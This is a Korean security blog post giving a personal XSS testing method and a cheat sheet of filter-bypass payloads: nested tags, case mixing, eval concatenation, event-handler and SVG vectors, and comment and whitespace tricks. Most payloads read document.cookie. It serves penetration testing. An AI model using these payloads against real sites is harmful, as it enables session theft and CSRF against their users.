정보보안/Web

XSS 진단 및 Cheat Sheet

구구닥스 2020. 1. 13. 16:34

프로젝트를 진행하면서 항상 듣는 말이 자신만의 비밀 사전이 필요하다는 말이다.

 

그래서 언젠가는 만들어야지? 생각하다가 그냥 지금 글에 계속 덧붙여서 만들기로 했다.

 

 

주관적인 생각으로 작성되었고 나만의 방법론이기 때문에 틀릴 수도, 비 효율적일 수도 있다.

 

※ 일반 사이트에 해당 구문 사용을 절대 권장하지 않는다.

 

스크립트를 발생시키는 이유는 해당 사이트에 의도하지 않는 스크립트 구문을 삽입하여 작동시킴으로 다양한 공격을 발생시키기 위함이다. 

 

예를 들어 쿠키값 획득 + CSRF + 리다이렉션 이외에도 수많은 공격 목적이 존재한다.

 

단순히 

<script>alert('1')</script> 이 발생하는 사이트는 거의 존재하지 않는다. 대부분은 입력값을 검증하여 >, <, ', ",와 같은 특수문자를 치환하여 사용하거나 입력을 받지 않는다. 그럼에도 일부 필터링이 미흡하거나 기능적으로 꼭 필요로 하기 때문에 발생하는 경우가 존재한다.

 


 

필터링의 경우

 

1. 특수문자 치환법

특수 문자 전체의 사용이 불필요하여 입력값을 HTML 치환하여 받는 경우 아래와 같이 치환하여 사용한다.

 

&nbsp;  : 공백
&lt; <

&gt; 

&amp; 

&quot; “ 

&#035; 

&#039; '

 

이런 경우에는 주관적인 판단으로는 XSS발생을 포기하고 다른 부분에 비중을 둔다.

 

다만 입력할 수 있는 부분이 이미 꺽쇄로 둘러 쌓여 있고, "가 사용 가능할 때는 이벤트 핸들러 등을 통해서 시도해본다.

 


2. 소거법

스크립트를 발생시키는 구문의 일부를 소거시키는 방법으로 우선 어떤 문자열을 어디까지 소거시키는지를 파악해야 한다. 파악한 이후라면 소거가 되는 부분을 예상하고 XSS구문을 작성한다.

 

예를 들어 script라는 문자열이 소거가 된다고 가정해보자.

입력 :       <script>alert('1')</script>

출력 :       alert('1')라고 가정할 수 있다.

 

정확히 script만 소거하는지 <script를 소거하는지 script>를 소거하는지 등을 파악하고 <script>라는 문자열만 소거된다고 생각이 된다면 우회하기 위해서 

 

입력 :        <scr<script>ipt>alert('1')</script> 

출력 :        <script> alert('1')</script>라고 출력되어 XSS가 발생한다.

 

소거법에 의해서 필터링되었을 경우 어떤 부분을 어떻게 소거되는지 파악하고 이를 이용하여 우회하는 방법을 구상하는 것이 빠르다.


3. 치환 법 & 4. 문자열 탐지

 

주로 입력한 문자열이 다른 문자열로 치환되거나 다른 특수문자로 변환되면 포기하는 경우가 다수이지만 일부 특정 문자열만 치환되는 경우 모든 문자열에 대하여 치환하기 힘들기 때문에 치트 시트를 활용하여 주로 사용되지 않는 태그나 문자열 합성 등으로 공격한다.

 

문자열 탐지의 경우 입력을 필터링하여 입력값을 받지 않는 경우이며 이런 경우 또한 치환과 마찬가지로 일정 규칙이 아닌 특정 문자열에 한하여 필터링되어 있다면 치트 시트를 활용한다.

 

대소문자를 변환하여 입력

 

<ScrIpT>aLeRt(DocuMenT.CooKie)</scRiPT>

 

공백 %20 등을 사이에 넣어서 입력

 

<script>alret(document.%20cookie)</script>

 

eval 함수와 자바스크립트의 +를 사용하여 문자열 합성하여 입력

 

<img src=x.jpg onload='var A = "al"+"er"+"t(docu"+"ment."+"coo"+"kie);";eval(A);'>

 

자주 사용하지 않는 

 

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

 

<svg/onload=alert('XSS')>

 

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

 

<img src=javascript:alert('XSS')>

 

<img src=x onerror=alert('XSS')>

 

<DIV STYLE="width: expression(alert('XSS'));">

 

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

 

 

등의 태그들을 사용하여 XSS를 시도한다.


5. 기타

 

주석 구문을 이용

여러 파라미터를 삽입할 수 있으면 처음 파라미터와 다음 파라미터를 연결 지어 중간에 주석 값을 넣어서 공격하는 방법도 존재한다.

 

name: <script>alert(1)<!-- age: --></script>

 

중간 값이 동작하는데 꼭 필요로 하는 구문이 존재하지 않다면 중간의 값을 주석 처리하여 공격하는 방법도 존재한다.

 

이벤트 핸들러 사용

 

<a onclick=alert('1')>

 

등과 같이 이벤트 핸들러는 태그 상관없이 발생할 수 있어서 코드의 길이를 줄일 수 있다.

또한 이벤트 핸들러는 꽤 많은 수가 다양하게 존재함으로 특이한 이벤트 핸들러의 경우 필터링이 미흡한 경우도 있다.

 

공백

이벤트 핸들러의 경우 발생하기 위하여 공백이 필요한데 이 공백이 필터링되어 있다면""를 사용하여 우회 가능하다.

 

"'><svg/whatthe=""onload=alert(45)>

 

/ 우회

/의 가 필터링되어 있다면 ;를 사용하여 우회가 가능하다.

 

"><svg/;onload="alert(45)"onload=alert(45)>">

 

URL 입력 필터링

 

document.location.href="http://www.test.com";

 

과 같은 구문을 발생시키려 하는데 "이 필터링 되어 사용이 불가능하다면 

 

document.location.href=/http:\/\/www.test.com/;

 

로 우회가 가능하다. 이는 javascript 정규식 구문을 사용하기 때문에 가능하다.


XSS의 주목적은 단순히 Alert 창을 띄우는 게 목적이 아니기 때문에 단순히 <script> alert(document.cookie)</script>가 발생하고 쿠기 값만 화면에서 확인한다고 끝나는 것이 아니다. 이를 바탕으로 다른 구문을 활용하여 세션 탈취, CSRF, 리다이렉션 자바스크립트로 가능한 모든 추가적인 공격으로 이루어져야 진단하는 목적이 있다고 생각한다.

 

 

이외에도 XSS는 언제 어디서 다른 기법이 발견될 수도 있고 브라우저에서도 계속 방지를 하기 때문에

항상 찾아보면서 발생 시도를 하는 것이 좋다.

 

 

 

아직 미흡하고 부족하기 때문에 참고한 사이트 또한 다수이며 특히 XSS를 검색하다 보면 항상 특정 블로그로 접속해 있다... 아주 유용하고 훌륭하게 잘 보고 있기 때문에 링크를 남겨 자주 애용하자

 

출처

https://www.hahwul.com/2019/08/bypass-blankslash-filter-for-xss-to-simple-trick.html

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

https://www.hahwul.com/2017/01/web-hacking-bypass-xssquotation.html

https://www.hahwul.com/2015/03/xss-html-event-handler-xsscross-site.html

 

 

많은 비판과 비방을 수용하여 발전하고 싶다.

'정보보안 > Web' 카테고리의 다른 글

XSS - Backtick(`)  (1) 2020.10.21
Ghostcat : Tomcat-Ajp (CVE-2020-1938)  (0) 2020.07.22
XSS로 HTTP ONLY 우회하여 세션 탈취하기  (0) 2020.06.02